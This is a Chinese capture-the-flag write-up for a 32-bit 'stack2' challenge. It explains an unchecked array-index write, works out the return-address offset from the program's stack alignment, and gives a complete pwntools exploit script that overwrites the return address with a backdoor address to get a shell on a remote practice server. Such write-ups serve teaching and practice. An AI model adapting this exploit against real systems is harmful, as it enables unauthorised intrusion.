ELF32位程序,运行,是一个简单的计算机,查看保护,开启了canary和NX


放入ida中,在change numbe中v13是我们输入数字的数组,v5索引由用户输入,没有检查数组的边界造成的任意内存读写,可以修改返回地址到后门函数来getshell


查看汇编发现该程序不是正常通过push ebp mov ebp,esp sub esp实现栈空间的开辟,实现过程如下图

- lea ecx, [esp+4] esp存放放回地址,ecx存放esp+4
- and esp, 0FFFFFFF0h 将esp的最后一位置零
- push dword ptr [ecx-4] 往栈中推入一个假的返回地址
- push ebp 正常开栈
- mov ebp, esp 正常开栈
- push ecx 将ecx(开始时esp+4)的值推入栈

栈的回收

将ebp-4位置的值给ecx及将开辟时的0xffff0fd4里的值赋给ecx,将ecx(0xffffcff0)-4里的值赋给esp即真正的返回地址(0xffffcfec)后进行ret,那么我们的偏移应该设置为v13到ebp的距离+(0xffffcff0-0xffffcfd8)=0x70+0x14=0x84
如果不看栈空间从汇编入手,由于有ASLR的栈基址随机化保护,那么每次栈的基址不同,那and esp, 0FFFFFFF0h会导致每次程序执行有相同的偏移,虽然ASLR会使得栈的基址随机化,但是其低四位仍然是固定的,我们可以查看其低四位来判断偏移

刚开始esp低四位是0x0c,距离我们开始正常开辟栈帧的前面还有push dword ptr [ecx-4],故我们偏移应该为
- 0x70 + 0x0c + 0x04 + 0x04=0x84
v13 低四位 push ecx-4 到esp距离
构造exp
from pwn import *
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import *
file_name='./stack2'
debug =1
if debug:
p = remote("node5.buuoj.cn",25454)
else:
p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
context.arch=elf.arch
ret_offset=b'132'
p.recvuntil(b"How many numbers you have:")
p.sendline(b"2")
backdoor=[0xAF,0x85,0x04,0x08]
for x in range(2):
p.sendline(b"10")
#gdb.attach(p, "b *0x8048851")
for x in range(4):
p.recvuntil(b"5. exit")
p.sendline(b'3')
p.recvuntil(b"which number to change:")
p.sendline(ret_offset)
ret_offset=str(int(ret_offset.decode())+1).encode()
p.recvuntil(b"new number:")
p.sendline(str(backdoor[x]).encode())
print(str(backdoor[x]).encode())
#pause()
p.recvuntil(b"5. exit")
p.sendline(b'5')
p.interactive()
每次只能改一个字节,要改4次,最终得到shell

Comments NOTHING